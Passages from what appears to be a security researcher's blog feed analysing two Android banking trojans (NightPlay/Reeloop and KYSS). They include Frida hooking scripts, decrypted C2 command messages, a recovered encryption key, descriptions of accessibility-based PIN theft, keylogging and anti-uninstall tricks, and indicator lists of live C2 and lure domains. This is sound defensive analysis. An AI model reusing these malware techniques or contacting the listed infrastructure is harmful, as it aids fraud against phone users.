<p>With the HTTP side of registration done, the app opens a WebSocket connection to <code>wss://voicezone.vip/device/ws</code>. The first few attempts failed outright, 502s, with a fresh <code>Sec-WebSocket-Key</code> sent on each retry (<code>EosWnDcSTt5w0F3peonQUQ==</code> among the failures). Eventually one landed, <code>AV4bQJ6jm/BTZv5i0cjIIg==</code>, and the handshake completed.</p>
<p>The protocol that follows is a small, tightly typed message set. Every message carries a <code>deviceId</code>, a <code>msgId</code>, a <code>timestamp</code>, and a <code>type</code>. The session opens with an <code>AUTH</code> message, essentially a fuller version of the device fingerprint sent earlier, plus the token issued during login:</p>
<pre><code class="language-json">{
  "type": "AUTH",
  "data": {
    "appVersion": "3.0.83",
    "brand": "google",
    "model": "sdk_gphone16k_x86_64",
    "screenHeight": 2400,
    "screenWidth": 1080,
    "token": "b7b16159-fe52-49c1-a31a-e26a0423b46c"
  },
  "deviceId": "DEV-DD6B2E497B18",
  "msgId": "a3acb07c-afcd-4e14-904b-2e45926ad8ca",
  "timestamp": 1785136071
}
</code></pre>
<p>The server replies with a bare <code>AUTH_OK</code>, and from there the device starts talking on its own. A PING follows almost immediately, carrying thermal and battery telemetry (temperature, charge state, power-save status), then a much heavier <code>STATE</code> message that dumps the device's full connection and battery state in one shot: network type, signal quality, WebSocket health metrics down to the millisecond, thermal readings again, all of it.</p>
<p>From here the server can push <code>COMMAND</code> messages at will, and the client answers each one with a <code>REPORT</code> referencing the original <code>msgId</code>. Two commands showed up during this session. The first was mundane:</p>
<pre><code class="language-json">{
  "type": "COMMAND",
  "data": { "action": "REFRESH_DEVICE_CONFIG" }
}
</code></pre>
<p>which the client acknowledged with a plain success report ("设备配置已刷新", config refreshed).</p>
<p>The second was more interesting. <code>GET_INSTALLED_APPS</code> came in with a <code>commandId</code> and a value of <code>SCAN_LOCAL</code>, and the device responded with a full JSON array of every installed app, package name, and version string on the phone. Scrolling through that list is where it gets a little uncomfortable: sitting right there next to Chrome, Gmail, and YouTube is <code>tech.httptoolkit.android.v1</code>, HTTP Toolkit. The malware's own reconnaissance command handed back the exact tool I was using to intercept its traffic. It doesn't appear to have acted on that information in this session, no evasive behavior kicked in, but the operator on the other end of that WebSocket had every opportunity to notice they were being watched.</p>
<p>What's left on disk</p>
<p>Static analysis had already predicted where the app would keep its local state, and pulling the actual files off a rooted device confirmed it. <code>nightplay_prefs.xml</code> holds nothing but the hardcoded invite code:</p>
<pre><code class="language-json">&lt;map&gt;
    &lt;string name="invite_code"&gt;123456&lt;/string&gt;
&lt;/map&gt;
</code></pre>
<p><code>domain_resolver.xml</code> caches the result of the domain resolution step from earlier, so the app doesn't have to re-fetch and re-check both C2 hosts on every launch:</p>
<pre><code class="language-json">&lt;map&gt;
    &lt;string name="resolved_region"&gt;hk&lt;/string&gt;
    &lt;string name="resolved_config_urls"&gt;["https://yanglin202107.github.io/project-docs/d/config.json"]&lt;/string&gt;
    &lt;string name="resolved_name"&gt;主节点&lt;/string&gt;
    &lt;string name="resolved_api_base"&gt;https://voicezone.vip/api&lt;/string&gt;
    &lt;long name="resolved_timestamp" value="1785142888875" /&gt;
&lt;/map&gt;
</code></pre>
<p>Two smaller files round it out: <code>permission_status_diagnostics.xml</code>, tracking whether the keep-alive service is running, and <code>offline_diagnostics.xml</code>, timestamping the last time accessibility permission state changed. Nothing dramatic on its own, but together with the config pulled over the wire, it's a complete picture of exactly what the app knows about itself and the device it's sitting on at any given moment.</p>
<h3>The Accessibility Automation Engine</h3>
<p>Everything up to this point, registration, config, WebSocket, is plumbing. This is where the app actually does things to the device. <code>ControlAccessibilityService</code> is the component that turns a single granted permission into full control over the UI, and the code around it splits into a few distinct jobs.</p>
<p><strong>Uninstall guard</strong>: The service watches every accessibility event on the device, clicks, window changes, content changes, and walks the active window's node tree looking for a small set of screens: app info pages, uninstall or force-stop dialogs, the accessibility settings page itself, developer options, the notification shade, the device admin deactivation screen. It recognizes these across languages too, keyword lists exist for English, Simplified and Traditional Chinese, Hindi, Bengali, Urdu, Tamil, Telugu, and Marathi. The moment one of these screens is detected, the guard fires an exit burst: a configurable number of Back presses at a configurable interval, sometimes followed by Home. It even accounts for different OEM launchers (MIUI, Oppo, Samsung, stock Google) so it can catch someone trying to uninstall from the app drawer instead of settings. The one place this guard stands down is during the app's own onboarding, it disables itself while running its own permission requests, so it doesn't accidentally Back-button its way out of asking for the permissions it needs.</p>
<p><strong>Credential and PIN theft</strong>: This is where <code>stagesConfigs</code> from the earlier config dump gets used. For any of the twenty-odd tracked financial apps, the service watches for a login, balance, payment, or success screen using the view IDs and keywords defined server-side, and extracts whatever it finds, PINs, balances, transaction amounts, bank names, straight off the screen without ever touching the app's actual authentication flow. As far as the banking app is concerned, a real user is just using it normally.</p>
<p><strong>The lockscreen trick</strong>: <code>lockscreenUnlockAuto</code>, as covered earlier, drives this directly. The overlay you see isn't guessing at your lock type, it already knows it, because the accessibility service recorded by forcing a device lock abusing the admin permission. What the config also confirms is the "fail once, succeed always" behavior isn't a UI bug on my end, it's built around <code>inputRetries</code> and scripted timing (<code>enterDelayMs</code>, <code>pressEnter</code>) meant to look like a real device rejecting a mistyped PIN once before accepting it. It's a small detail, but it's the kind of thing that makes a fake screen feel real for exactly as long as it needs to.</p>
<p><strong>The command set</strong>: Everything above gets triggered by commands arriving over the WebSocket, the same <code>COMMAND</code> message type we saw asking for <code>REFRESH_DEVICE_CONFIG</code> and <code>GET_INSTALLED_APPS</code>. The full list runs to more than thirty distinct actions, but they group cleanly:</p>
<p><strong>Credential theft</strong>: <code>CREDENTIAL_SIM_SHOW</code>, <code>PAYMENT_PIN_SHOW</code>, and their dismiss counterparts, pop the fake overlays on demand.</p>
<p><strong>Privilege escalation</strong>: <code>REQUEST_PERMISSION_AUTH</code>, <code>RUN_PERMISSION_INIT</code>, <code>AUTO_SETTINGS_SEARCH_BIOMETRIC</code>, walk the user (or walk past the user) through granting more access.</p>
<p><strong>Remote control</strong>: <code>SET_CONTROL_MODE</code>, <code>SET_SYNC_FREQ</code>, switch between screen and layout streaming and how often frames get pushed out.</p>
<p><strong>Evasion</strong>: <code>KEEP_SCREEN_OFFKEEP_SCREEN_ON</code>, <code>NOTIFICATION_DISMISS_AUTOMATION</code>, <code>SET_ONLINE_LITE_MODE</code>, keep the app quiet and unnoticed when it needs to be.</p>
<p><strong>Message abuse</strong>: <code>MSG_BROADCAST</code>, the propagation engine, more on that next.</p>
<p>Unrecognized commands fall through to a logged error (远程指令未识别, unrecognized remote command), which is a small tell that this command set has grown organically over time, there's error handling built for the day the operators add a new one the client doesn't know about yet.</p>
<hr />
<p><strong>Propagation: The Loop Closes</strong></p>
<p><code>MSG_BROADCAST</code> is the command that turns an infected phone into a distribution node. When it fires, the server hands over a communication channel (<code>whatsapp</code>, <code>sms</code>, or, as observed in a live trace, <code>telegram</code>), a message body, a list of recipient numbers, and a delay range to space sends out. The recipients are the victims own contacts.</p>
<p>The engine doesn't touch any of these apps through an API. Instead, it accesses them using the accessibility tree. Numbers get normalized first, non-numeric characters stripped, country code prefixed if missing, defaulting to <code>91</code>.</p>
<p>Then for each recipient, the same sequence repeats:</p>
<ol>
<li><p>Open the conversation</p>
</li>
<li><p>Wait for the UI to settle</p>
</li>
<li><p>Find the message input field by its accessibility view ID</p>
</li>
<li><p>Insert the text with <code>ACTION_SET_TEXT</code></p>
</li>
<li><p>Find the send button either by known view ID or by searching for common labels</p>
</li>
<li><p>Click it with <code>ACTION_CLICK</code>, then confirm the send actually went through by checking that the compose field went empty again. A randomized delay, then the next contact.</p>
</li>
</ol>
<p>Under the hood this runs through an adapter pattern, one adapter per messaging app, each one knowing that specific app's exact view IDs and quirks. Only one broadcast job is allowed to run at a time, tracked with atomic state so a second command can't stomp on one already in progress, and the whole thing is built to survive a screen that doesn't load in time rather than just crashing out.</p>
<p>This is the mechanism that explains why this post opened on a site called <code>nightroom.cc</code> at all. Somewhere, on someone else's phone, that same engine ran once already, sending a link out to contacts.</p>
<p><strong>Same Loop, Different Skin</strong></p>
<p>Everything above, the accessibility engine, the credential harvesting, the lockscreen trick, the WebSocket protocol, was reverse engineered from a sample calling itself Reeloop and NightPlay. The lure site and the live trace that opened this post ran on an entirely different set of names, Vexo and Onda Pulse, different file names, different hashes, different sizes even, but the same backend and the same behavior underneath, right down to the fail-once-succeed-always lockscreen and the exact WebSocket message types.</p>
<p>That's not a coincidence, and it's not a copycat borrowing the idea. It's the same operation shipping a different build under a different skin. Follow enough of these lure sites and the pattern keeps showing up, one traced session pulled down something called <code>Vexo.apk</code> from <code>cdn.zorex.live</code>, with a build path in the download URL literally tagged <code>india-prod-admin-44698</code>. That's campaign infrastructure with the naming baked right into the file path, which means there's a pipeline somewhere generating these builds on demand, each with a new package name and a freshly debug-signed cert, but the same C2 domains wired in underneath every time.</p>
<p>Which is really the only lesson worth taking from any of this. Don't trust the name. A file called Reeloop today might be called something else by the time you're reading this, and whatever it drops probably won't be called NightPlay either. What stays constant is the stuff underneath, the domains, the hashes, the shape of the WebSocket messages, the exact way it locks your screen and lets you back in on the second try. That's what's actually worth watching for.</p>
<hr />
<p><strong>Indicators of Compromise</strong></p>
<p><strong>File Hashes (SHA256)</strong></p>
<table>
<thead>
<tr>
<th>File</th>
<th>Hash</th>
</tr>
</thead>
<tbody><tr>
<td>Primary Payload APK (NightPlay)</td>
<td><code>e63c5d5296dcf338483fa8e3b1d5c3260c5ccc9d266599506f7e11779e82e211</code></td>
</tr>
<tr>
<td>Related Dropper APK (from C2 lure pages)</td>
<td><code>f24cb0ba56146cfd700c06320061c36ea8f17c263cebefce0db9313dc0d399bc</code></td>
</tr>
<tr>
<td>First-Stage Dropper APK (Reeloop)</td>
<td><code>dcf66e3f1a79f1f26353fb38d4d95686faa8c12626804e98c115244b34289cee</code></td>
</tr>
<tr>
<td>Alternate Payload APK (Vexo, report-referenced)</td>
<td><code>98c2b855c75dad571b31e6ef822a435c1df23417453b52b2f052aab2b87c927e</code></td>
</tr>
<tr>
<td>Embedded dex within Vexo.apk</td>
<td><code>48ad8bf0e7bacfe0e37dcbf1e0d91fe82dbd080414b0a6696 63a77bff11b35d2</code></td>
</tr>
<tr>
<td>Vexo1.apk (second build variant, this trace)</td>
<td><code>49786c125bb91de846a17ba53880c15e35d1f1785b0ad6ef35f98a9e912feab5</code></td>
</tr>
<tr>
<td>base.apk (Onda Pulse, second-stage payload extracted from device)</td>
<td><code>a3374e864c888e82cd5228d072b2df10882330317444d0d96cc0593b930e4e04</code></td>
</tr>
<tr>
<td>Helper App (NexaNest)</td>
<td>Not yet obtained</td>
</tr>
</tbody></table>
<p><strong>Application Identity</strong></p>
<table>
<thead>
<tr>
<th>Field</th>
<th>Value</th>
</tr>
</thead>
<tbody><tr>
<td>Package Name (NightPlay)</td>
<td><code>com.codex.nightplay</code></td>
</tr>
<tr>
<td>App Label (First-stage dropper)</td>
<td>Reeloop / Vexo</td>
</tr>
<tr>
<td>App Label (Second-stage payload)</td>
<td>NightPlay / Onda Pulse</td>
</tr>
<tr>
<td>App Label (Helper app)</td>
<td>NexaNest</td>
</tr>
<tr>
<td>Default Invite Code</td>
<td><code>123456</code></td>
</tr>
</tbody></table>
<p><strong>Command &amp; Control</strong></p>
<table>
<thead>
<tr>
<th>Field</th>
<th>Value</th>
</tr>
</thead>
<tbody><tr>
<td>Config Resolver</td>
<td><code>https://yanglin202107.github.io/project-docs/d/config.json</code></td>
</tr>
<tr>
<td>Priority 1 C2 Domain</td>
<td><code>voicezone.vip</code></td>
</tr>
<tr>
<td>Priority 2 C2 Domain</td>
<td><code>nightroom.cc</code></td>
</tr>
<tr>
<td>WebSocket Endpoint</td>
<td><code>wss://voicezone.vip/device/ws</code></td>
</tr>
</tbody></table>
<p><strong>Backend &amp; APIs</strong></p>
<table>
<thead>
<tr>
<th>Field</th>
<th>Value</th>
</tr>
</thead>
<tbody><tr>
<td>Primary API Server</td>
<td><code>api.grabluck.cc</code></td>
</tr>
<tr>
<td>Secondary API Server</td>
<td><code>apiv2.grabluck.cc</code></td>
</tr>
<tr>
<td>Control Panel (Admin)</td>
<td><code>h5.grabluck.cc</code></td>
</tr>
<tr>
<td>Gin-Vue-Admin Panel</td>
<td><code>v2boss.taskira.top</code></td>
</tr>
</tbody></table>
<p><strong>Infrastructure / CDN</strong></p>
<table>
<thead>
<tr>
<th>Field</th>
<th>Value</th>
</tr>
</thead>
<tbody><tr>
<td>Payload Delivery CDN</td>
<td><code>cdn.privatecorner.live</code></td>
</tr>
<tr>
<td>Thumbnail CDN 1</td>
<td><code>cdn.nightplay.live</code></td>
</tr>
<tr>
<td>Thumbnail CDN 2</td>
<td><code>cdn.playlust.vip</code> (Amazon CloudFront)</td>
</tr>
<tr>
<td>Payload Delivery CDN (Vexo build)</td>
<td><code>cdn.zorex.live</code></td>
</tr>
<tr>
<td>AWS S3 Bucket</td>
<td><code>coinlist000-in.s3.ap-south-1.amazonaws.com</code></td>
</tr>
</tbody></table>
<p><strong>Deceptive Lure Domains</strong></p>
<table>
<thead>
<tr>
<th>Domain</th>
<th>Role</th>
</tr>
</thead>
<tbody><tr>
<td><code>midnightheat.live</code></td>
<td>Embedded adult lure (WebView)</td>
</tr>
<tr>
<td><code>grabluck.cc</code></td>
<td>Adult video dropper lure</td>
</tr>
<tr>
<td><code>luck.grabluck.cc</code></td>
<td>Betting / lucky draw lure</td>
</tr>
<tr>
<td><code>callzone.vip</code></td>
<td>Adult video dropper lure</td>
</tr>
<tr>
<td><code>chatnest.vip</code></td>
<td>Adult video dropper lure</td>
</tr>
<tr>
<td><code>privateplay.live</code></td>
<td>Adult video dropper lure</td>
</tr>
<tr>
<td><code>nightstream.vip</code></td>
<td>Adult video dropper lure</td>
</tr>
<tr>
<td><code>loveview.live</code></td>
<td>Adult video dropper lure</td>
</tr>
<tr>
<td><code>nightvault.vip</code></td>
<td>Adult video dropper lure</td>
</tr>
<tr>
<td><code>callwave.vip</code></td>
<td>Adult video dropper lure</td>
</tr>
<tr>
<td><code>talkwave.vip</code></td>
<td>Adult video dropper lure</td>
</tr>
<tr>
<td><code>vibemate.vip</code></td>
<td>Adult video dropper lure</td>
</tr>
<tr>
<td><code>secretplay.live</code></td>
<td>Adult video dropper lure</td>
</tr>
<tr>
<td><code>nightroom.cc</code></td>
<td>Adult video lure / priority 2 C2</td>
</tr>
</tbody></table>
]]></content:encoded></item><item><title><![CDATA[Sealed with a KYSS: Inside an Android Banking RAT]]></title><description><![CDATA[After wrapping the analysis on my previous sample, another one came in. It called itself KYSS, and the launcher icon was a lipstick-stained kiss mark, the kind of lure which gets people's attention.
T]]></description><link>https://blog.realrudrap.dev/sealed-with-a-kyss-inside-an-android-banking-rat</link><guid isPermaLink="true">https://blog.realrudrap.dev/sealed-with-a-kyss-inside-an-android-banking-rat</guid><category><![CDATA[Android]]></category><category><![CDATA[Malware]]></category><category><![CDATA[android-malware]]></category><category><![CDATA[reverse engineering]]></category><category><![CDATA[frida]]></category><category><![CDATA[Dynamic Analysis]]></category><dc:creator><![CDATA[Rudra Ponkshe]]></dc:creator><pubDate>Wed, 22 Jul 2026 03:57:37 GMT</pubDate><content:encoded><![CDATA[<p>After wrapping the analysis on my previous sample, another one came in. It called itself KYSS, and the launcher icon was a lipstick-stained kiss mark, the kind of lure which gets people's attention.</p>
<p>Tapping it, however, didn't open an app. Instead, it opened its page in the Android Settings, the one which shows the permissions, battery usage and other details. An open button sat on the top, expecting to be tapped by a confused user.</p>
<p>That's when the malware comes to life.</p>
<p>I started with MobSF for a static pass, examined with JADX, and then spun up a rooted AVD and instrumented it with Frida. The deeper I got, the more interesting it became.</p>
<p>Analysis revealed it to be an Android banking RAT. It had capabilities to perform overlay attacks against 19 targets across Japan and Latin America, and popular crypto apps, accessibility service-based automation that grants itself extensive permissions, silent gallery and contact exfiltration, and an interface for operators to issue commands. Pivoting from the C2 infrastructure helped me find what appears to be a C2 control panel on shared infrastructure.</p>
<p>This post is a walkthrough of my analysis, from static properties, activation flow, crypto hooks, C2 payload interception and finally the C2 panel discovery.</p>
<hr />
<h2>First Look</h2>
<p>The APK comes in at a tiny 6.1 MB. MobSF shows that it was V3 signed with every field in the certificate set to <code>Unknown</code>. No legitimate app ships like this.</p>
<pre><code class="language-plaintext">Subject: CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown
</code></pre>
<p>MobSF failed to extract basic metadata, package name, main activity, version, and JADX showed no <code>AndroidManifest.xml</code>. The manifest appears to use non-standard binary encoding: valid enough for the Android runtime to install and launch it, but enough to confuse or defeat common static analysis tools.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/51848b22-39bf-4e14-8fed-ae1935a7f806.png" alt="" style="display:block;margin:0 auto" />

<p>Opening up the app in JADX, the filenames look randomly generated. Even the usual <code>AndroidManifest.xml</code> file seems to be obfuscated and buried amongst this pile of various files.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/872d8768-f16b-4544-b0ff-55dfb8af1c6d.png" alt="" style="display:block;margin:0 auto" />

<p>Due to heavy obfuscation, it was impractical to try and prod further with static analysis. The obvious next step was dynamic analysis.</p>
<hr />
<h2>Analysis Environment</h2>
<p>For the dynamic analysis, I set up a rooted Android Studio AVD running Android 10 x86_64. <a href="https://frida.re">Frida</a> was installed for dynamic instrumentation.</p>
<hr />
<h2>Activation Flow and Instrumentation</h2>
<p>Upon opening the app, a screen is presented to the user which requests them to grant accessibility permissions to the app. Before granting the permission in the emulator, I attached my <code>networkHook.js</code> script to it to identify the C2 endpoint.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/6c1a4e5c-7a51-4652-9445-f50a452b8d00.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-javascript">Java.perform(function() {
    var Socket = Java.use('java.net.Socket');
    
    Socket.$init.overload('java.lang.String', 'int').implementation = function(host, port) {
        console.log('[*] Socket connect: ' + host + ':' + port);
        return this.$init(host, port);
    };

    var URL = Java.use('java.net.URL');
    URL.openConnection.overload().implementation = function() {
        console.log('[*] URL.openConnection: ' + this.toString());
        return this.openConnection();
    };
});
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/3a6255e7-7a23-4a8e-8d1b-290b1c90b8c8.png" alt="" style="display:block;margin:0 auto" />

<p>As it is seen in the screenshot, when hooking into the app while it "optimizes" the phone, it phones home at the <code>/api/device_log</code> endpoint, probably reporting back the device info.</p>
<p>For that, we will have to hook into the method and see the payload while it is constructed.</p>
<p>The network hooks also showed the app using the bot API to send an initial message informing the operator of a successful infection on another device, although throughout my analysis the Telegram Bot API consistently returned a <code>429 Too Many Requests</code> error.</p>
<p>While it might seem intuitive to hook directly into the same method and dump the payload directly, we have to remember that it uses an HTTPS connection, meaning the payload is encrypted before being handed off.</p>
<p>So we go a level lower. The <code>Crypto</code> classes in Java use a <code>doFinal()</code> method once all parameters have been configured. Hooking at that step to dump the plaintext is a good way forward. Using the <code>cryptoHooks.js</code> script as follows:</p>
<pre><code class="language-javascript">Java.perform(function() {
    var Cipher = Java.use('javax.crypto.Cipher');
    
    Cipher.doFinal.overload('[B').implementation = function(bytes) {
        console.log('[*] Cipher.doFinal input: ' + 
            Java.use('java.lang.String').$new(bytes));
        var result = this.doFinal(bytes);
        return result;
    };

    var OutputStream = Java.use('java.io.OutputStream');
    OutputStream.write.overload('[B').implementation = function(bytes) {
        var str = Java.use('java.lang.String').$new(bytes);
        console.log('[*] OutputStream.write: ' + str);
        return this.write(bytes);
    };
});
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/e4cae831-512d-4918-87b0-7fab9cc338f6.png" alt="" style="display:block;margin:0 auto" />

<p>And as suspected, the app is exfiltrating the device info such as the charging status, the amount of memory available in the device, and interestingly, if the device has granted battery optimization exemption to the app, if the accessibility service is granted, the SDK, the make and model of the device and an ID.</p>
<p>The garbled text which also shows up seems to be the encrypted payload being sent by the server to the device, and we will have to improve on our script to be able to find out what the app is doing with the accessibility service as well.</p>
<hr />
<h2><code>boss.js</code> The all in-one script</h2>
<p>After several iterations, I finally made a <code>boss.js</code>, which would hook into multiple methods of interest, such as the Crypto methods, the Accessibility Service, the SecretKeySpec (since the app encrypts its payloads before sending over the network). With a little help from Claude, this is the script I came up with, available on <a href="https://gitlab.com/-/snippets/6013193">Gitlab Snippets</a></p>
<p>The combined hooks revealed substantially more about the malware's behavior.</p>
<div>
<div>💡</div>
<div>Please note that I performed the analysis separately from writing the blog, and output the logs into a file for later reference. All screenshots are of the logs stored in the text file.</div>
</div>

<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/5c9d2593-1b92-4e2c-b415-4f4c5c6e22ed.png" alt="" style="display:block;margin:0 auto" />

<p>As soon as the app boots up, it reads the following HTML page, which is the accessibility granting flow shown to the user and presents it on the screen.</p>
<pre><code class="language-javascript">[NET] BufferedReader.readLine: function applyLang(lang){
[NET] BufferedReader.readLine: var t=i18n[lang]||i18n.en;
[NET] BufferedReader.readLine: var appName="App";
[NET] BufferedReader.readLine: try{appName=Android.getAppAcc()||Android.getAppLabel()||"App";}catch(e){}
[NET] BufferedReader.readLine: document.getElementById("title").textContent=t.title;
[NET] BufferedReader.readLine: document.getElementById("subtitle").textContent=t.subtitle;
[NET] BufferedReader.readLine: document.getElementById("stepSettings").textContent=t.stepSettings;
[NET] BufferedReader.readLine: document.getElementById("stepAccessibility").textContent=t.stepAccessibility;
[NET] BufferedReader.readLine: document.getElementById("stepEnable").textContent=t.stepEnable;
[NET] BufferedReader.readLine: document.getElementById("infoText").textContent=t.infoText.replace("{app}",appName);
[NET] BufferedReader.readLine: document.getElementById("btnText").textContent=t.btnText;
[NET] BufferedReader.readLine: document.getElementById("appName").textContent=appName;
[NET] BufferedReader.readLine: if(rtlLangs.indexOf(lang)!==-1){
[NET] BufferedReader.readLine: document.documentElement.setAttribute("dir","rtl");
[NET] BufferedReader.readLine: }
</code></pre>
<p>This Javascript function in the page stood out. It checks the locale of the device and changes the contents of the page to the matching language. This is indicative of a multi-region malware.</p>
<p>After this, the hooks on the <code>SecretKeySpec</code> fired, revealing the encryption class instantiated by the class to encrypt its requests.</p>
<pre><code class="language-javascript">[KEY] algorithm: AES
[KEY] key (b64): MDYyM1UyNUtUVDNZTzhQOQ==

[KEY] key (hex): 303632335532354b545433594f385039
[KEY] algorithm: AES
[KEY] key (b64): MDYyM1UyNUtUVDNZTzhQOQ==
[CIPHER] getInstance: AES/ECB/PKCS5Padding
[CIPHER] init mode: DECRYPT
[CIPHER] key length: 128 bits
</code></pre>
<p>The attacker chose a static key ( this was verified by running the malware multiple times ), and AES-ECB padding. ECB mode is deterministic: identical plaintext always produces identical ciphertext. This could potentially be used later to easily be able to decrypt any encrypted data flowing through this channel.</p>
<p>The app was reporting back a lot of information quite often. While I had suspected the use of websockets from the beginning, this log confirmed it.</p>
<pre><code class="language-javascript">[CIPHER] outgoing plaintext: {"action":"diag","type":"enc","data":{"type":"conn","msg":"binary_ws_connected","ts":1783684247430,"deviceId":"c86ede892b00d6a6"}}
[CIPHER] ciphertext (b64): T3Wv5ySb5IJKNT6FOJF30mqEgk+OZMNb7KhC+YCzQjLnhCyxDuM+s2ogVRmHY9Zp+miHE4hZVDIS
0TuZMualaEmPMZ1y7TzoXoovR7YaJVlGrkaHQSov8iBlPe7fcA2m9Delt5vjFIpZOcKTjR3QpNym
kktmqg7hr7zIUCYxbWxY1+xpwuct8IDxJVsqi8KZ
</code></pre>
<p>The server was also sending down huge payloads, which were encrypted with the same key, and base64 encoded on top. It contained a list of various OEM-specific settings strings it would click on for granting itself device admin access.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/b0e18a0e-2634-4579-8942-7e2414ba129b.png" alt="" style="display:block;margin:0 auto" />

<p>This payload contained the strings for the following OEMs:</p>
<pre><code class="language-plaintext">com.vivo.permissionmanager - vivo (Funtouch OS)
com.samsung.android.permissioncontroller - Samsung (One UI)
com.huawei.systemmanager - Huawei (EMUI)
com.miui.securitycenter - Xiaomi (MIUI/HyperOS)
com.miui.packageinstaller - Xiaomi (MIUI/HyperOS)
com.lbe.security.miui - Xiaomi (MIUI/HyperOS)
com.coloros.safecenter - OPPO (ColorOS)
com.oppo.safe - OPPO (ColorOS)
com.transsion.phonemaster - Transsion (TECNO/Infinix/itel)
com.google.android.packageinstaller - AOSP/Generic Android
com.android.packageinstaller - AOSP/Generic Android
com.android.settings - AOSP/Generic Android
com.samsung.android.settings - Samsung (One UI)
com.samsung.android.lool - Samsung (One UI)
com.samsung.android.sm - Samsung (One UI)
com.miui.powerkeeper - Xiaomi (MIUI/HyperOS)
com.coloros.oppoguardelf - OPPO (ColorOS)
com.heytap.safecenter - OPPO/OnePlus/realme (OPlus)
com.oplus.safecenter - OPPO/OnePlus/realme (OPlus)
com.oneplus.security - OnePlus (OxygenOS)
com.iqoo.secure - iQOO (Funtouch OS)
com.vivo.abe - vivo (Funtouch OS)
com.hihonor.systemmanager - HONOR (MagicOS)
com.asus.mobilemanager - ASUS (ZenUI)
com.motorola.batterycare - Motorola (My UX)
com.evenwell.powersaving.g3 - Nokia/FIH (Evenwell)
com.transsion.phonemanager - Transsion (TECNO/Infinix/itel)
com.zte.heartyservice - ZTE (MyOS)
</code></pre>
<p>The app abuses the Accessibility permission it gained to click through menus and grant itself call, SMS, gallery, camera, contacts and external storage permissions, and finally makes itself an admin app of the device, which can make it much more difficult to uninstall it.</p>
<h3>The payment apps target</h3>
<p>The server also sent down another interesting payload</p>
<pre><code class="language-json">{
   "action":"replacePinTargets",
   "fromAdmin":"s1783684248210_155355",
   "keywords":[
      "pay"
   ],
   "packages":[
      "jp.co.fukuibank.bankingappli",
      "jp.co.resona_gr.ss.SmartApp",
      "jp.co.rakuten.kc.rakutencardapp.android",
      "jp.japanpost.jp_bank.bankbookapp",
      "jp.co.surugabank.portal",
      "mx.intelifin.android.albo",
      "dif.tech.plata",
      "com.google.android.apps.walletnfcrel",
      "mx.klar.app",
      "com.mercadopago.wallet",
      "com.nu.production",
      "mx.bancosantander.supermovil",
      "ai.powerup.stori",
      "ar.com.bancar.uala",
      "com.grability.rappi",
      "gob.bancodelbienestar.bcobienapp",
      "com.gojek.gopa",
      "mx.com.miapp",
      "com.wallet.crypto.trustapp"
   ]
}
</code></pre>
<p>This is a list of payment apps used in Japan and Latin America (especially Mexico). It appears that the app would override these apps and likely display credential-stealing overlays.</p>
<h2>Data Exfiltration, Interaction Logging and Uninstall Protection</h2>
<p>The app receives commands from the C2 to exfiltrate the contents of the gallery and contacts from the victim's device.</p>
<pre><code class="language-json">{
    "action": "readAlbumList",
    "curpage": 1,
    "fromAdmin": "s1783683987269_154416",
    "pagesize": 100,
    "silent": true
}

{
    "action": "readContactList",
    "curpage": 0,
    "fromAdmin": "s1783683987269_154416",
    "pagesize": 500,
    "silent": true
}
</code></pre>
<p>The <code>silent: true</code> flag is the operator explicitly instructing the malware to perform exfiltration without triggering any visible notification or UI change on the victim's device. Since the analysis ran on an emulator with no saved contacts or images, the commands were observed being received and decrypted, confirming the capability exists at the operator level. Execution on a live device with real data is a separate matter.</p>
<p>The abuse of the Accessibility permission goes further than just granting itself permissions. The interaction logger built on top of it captures text input character by character, along with the package name, input field ID, and view class for every field the victim types in. Testing this by typing in the Messages app confirmed it immediately.</p>
<pre><code class="language-json">{
    "k": "keylog_t_com.google.android.apps.messaging_com.google.android.apps.messaging:id/compose_message_text",
    "pkg": "com.google.android.apps.messaging",
    "cls": "android.widget.MultiAutoCompleteTextView",
    "type": "keylog",
    "text": [
        "This is a test for exfiltration"
    ]
}
</code></pre>
<p>It doesn't stop at text fields. Click events across apps are logged the same way, with package context and view class attached -- keylog_c_* entries were firing from com.android.camera2 and com.nexuslauncher without any text input involved. Every interaction on the device is being reported back.</p>
<p>Finally, the Accessibility permission is also used to block the victim from reaching the app's own settings page. Two anti_uninstall intercepts were observed:</p>
<pre><code class="language-json">{
    "type": "anti_uninstall",
    "msg": "BLOCKED|path=content_settings|pkg=com.android.settings"
}


{
    "type": "anti_uninstall",
    "msg": "BLOCKED|path=app_detail|pkg=com.android.settings|cls=com.android.settings.applications.InstalledAppDetailsTop"
}
</code></pre>
<p>Navigating to Settings or directly to the app's detail page gets intercepted and blocked. Combined with Device Admin privileges, removing this app from an infected device without ADB access would be non-trivial for an average user.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/909573dc-5e38-4d83-96a8-e401d4a659b4.png" alt="" style="display:block;margin:0 auto" />

<p>With the on-device behavior fully mapped, I turned my attention to where this data was being sent.</p>
<hr />
<h2>Infrastructure</h2>
<p>With the C2 domain identified from the network hooks, I ran it through VirusTotal.</p>
<p>The domain was registered on 5th May 2026 through GoDaddy, with privacy protection enabled. At the time of analysis, it was flagged by 15 out of 91 vendors, tagging it as phishing and fraud. The passive DNS records showed 3 distinct IPs the domain has resolved to since registration.</p>
<img src="https://cdn.hashnode.com/uploads/covers/68d0b0f032185084509faad5/5adca5b6-3286-48ba-90ec-7572b128e919.png" alt="" style="display:block;margin:0 auto" />

<p>The domain seems to have flown completely clean on the first two IPs. The operation was probably started early in May and operated undetected for nearly 2 months before any detection.</p>
<h3>The Panel</h3>
<p>A reverse IP lookup of the current IP, along with the historical SSL certificates section in VT surfaced a new domain running on the same server. Browsing to it over HTTPS revealed what appears to be the operator's C2 panel, a Chinese language web application branded "V2 Panel" announcing it is built with React and Ant Design. A login page with username and password fields, nothing else is exposed.</p>
